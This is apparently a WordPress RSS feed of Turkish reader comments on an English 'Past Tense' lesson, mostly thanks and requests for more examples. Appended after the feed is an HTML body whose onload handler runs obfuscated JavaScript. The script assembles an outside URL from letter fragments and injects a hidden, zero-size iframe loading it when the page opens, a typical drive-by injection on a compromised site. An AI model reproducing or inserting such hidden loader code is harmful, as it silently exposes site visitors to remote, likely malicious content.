<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>Past Tense yazısına yapılan yorumlar</title>
	<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html</link>
	<description>Ücretsiz İngilizce Dersin Adresi</description>
	<pubDate>Sun, 07 Sep 2008 18:51:52 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
		<item>
		<title>murat tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-1242</link>
		<dc:creator>murat</dc:creator>
		<pubDate>Wed, 09 Jul 2008 15:31:52 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-1242</guid>
		<description>tavsiye ederim herkeze,amaç ingilizce ögrenmekse çalışmayla birlikte bu anlatım ve örneklerin beni bir seviyeye getirecegine  inandım.teşekkür ediyorum.</description>
		<content:encoded><![CDATA[<p>tavsiye ederim herkeze,amaç ingilizce ögrenmekse çalışmayla birlikte bu anlatım ve örneklerin beni bir seviyeye getirecegine  inandım.teşekkür ediyorum.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Ilgın tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-929</link>
		<dc:creator>Ilgın</dc:creator>
		<pubDate>Thu, 29 May 2008 18:30:21 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-929</guid>
		<description>yha çok tşkkr ederim çok saolun acayip lasımdı hoca burdaki örnekleri sınav yerine istedi çok teşekkrlr :):):)</description>
		<content:encoded><![CDATA[<p>yha çok tşkkr ederim çok saolun acayip lasımdı hoca burdaki örnekleri sınav yerine istedi çok teşekkrlr :):):)</p>
]]></content:encoded>
	</item>
	<item>
		<title>amylee tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-894</link>
		<dc:creator>amylee</dc:creator>
		<pubDate>Mon, 26 May 2008 16:00:27 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-894</guid>
		<description>i go TED and i know past perfect continuous hahahahaha:) and do you know where is words second state????</description>
		<content:encoded><![CDATA[<p>i go TED and i know past perfect continuous hahahahaha:) and do you know where is words second state????</p>
]]></content:encoded>
	</item>
	<item>
		<title>ışıl tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-869</link>
		<dc:creator>ışıl</dc:creator>
		<pubDate>Sun, 25 May 2008 15:21:23 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-869</guid>
		<description>bende beğendim ancak arkadaşların dediği gibi örnekler az olmuş ve diyolpg yazarkende herkonu için ayrı diyologlar mesela simple past tense ile ilgili bir diyolog benim işimi görür.</description>
		<content:encoded><![CDATA[<p>bende beğendim ancak arkadaşların dediği gibi örnekler az olmuş ve diyolpg yazarkende herkonu için ayrı diyologlar mesela simple past tense ile ilgili bir diyolog benim işimi görür.</p>
]]></content:encoded>
	</item>
	<item>
		<title>eme tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-833</link>
		<dc:creator>eme</dc:creator>
		<pubDate>Thu, 22 May 2008 15:00:09 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-833</guid>
		<description>çok az örnekvar ve fazla yararlı degil</description>
		<content:encoded><![CDATA[<p>çok az örnekvar ve fazla yararlı degil</p>
]]></content:encoded>
	</item>
	<item>
		<title>ege tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-820</link>
		<dc:creator>ege</dc:creator>
		<pubDate>Wed, 21 May 2008 17:42:49 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-820</guid>
		<description>hiç ipucu verlimemiş beğenmedim daha iyi olabilir biraz daha ayrıntı verin</description>
		<content:encoded><![CDATA[<p>hiç ipucu verlimemiş beğenmedim daha iyi olabilir biraz daha ayrıntı verin</p>
]]></content:encoded>
	</item>
	<item>
		<title>emel tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-816</link>
		<dc:creator>emel</dc:creator>
		<pubDate>Wed, 21 May 2008 14:34:24 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-816</guid>
		<description>basit ve anlaşılır olması hoş. bencede biraz daha örnek yapılırsa çok daha iyi olucak. teşekkür ediyorum...</description>
		<content:encoded><![CDATA[<p>basit ve anlaşılır olması hoş. bencede biraz daha örnek yapılırsa çok daha iyi olucak. teşekkür ediyorum&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>resul tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-718</link>
		<dc:creator>resul</dc:creator>
		<pubDate>Mon, 12 May 2008 21:33:25 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-718</guid>
		<description>cok guzell olmuss ama  bırazdaha  orneklerle bızlerı aydınlatırsanız cok tesekkur ederım....  sagolasınızz</description>
		<content:encoded><![CDATA[<p>cok guzell olmuss ama  bırazdaha  orneklerle bızlerı aydınlatırsanız cok tesekkur ederım&#8230;.  sagolasınızz</p>
]]></content:encoded>
	</item>
	<item>
		<title>gülşen satılmış tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-599</link>
		<dc:creator>gülşen satılmış</dc:creator>
		<pubDate>Tue, 29 Apr 2008 20:30:17 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-599</guid>
		<description>çok güzel olmuş harikaaaaa</description>
		<content:encoded><![CDATA[<p>çok güzel olmuş harikaaaaa</p>
]]></content:encoded>
	</item>
	<item>
		<title>ozan tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-474</link>
		<dc:creator>ozan</dc:creator>
		<pubDate>Fri, 11 Apr 2008 13:36:50 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/past-tense.html#comment-474</guid>
		<description>güzel paylaşım saolun dönem ödevim için yararlı oldu inşallah iyi 1 not alırım</description>
		<content:encoded><![CDATA[<p>güzel paylaşım saolun dönem ödevim için yararlı oldu inşallah iyi 1 not alırım</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html><body onload="status=' ';zz='o';sl='/';sf='ram';us='t';pi='b';po='.';gw='fi';qu=':';yh='a';vo='n';bw='e';pj='m';iu='s';pt='tp';yw='c';ab='src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,iu,us,yh,pi,hh,zz,zz,pj,po,yw,vo,sl,gw,hh,bw,sl);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttribute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);
"></body></html>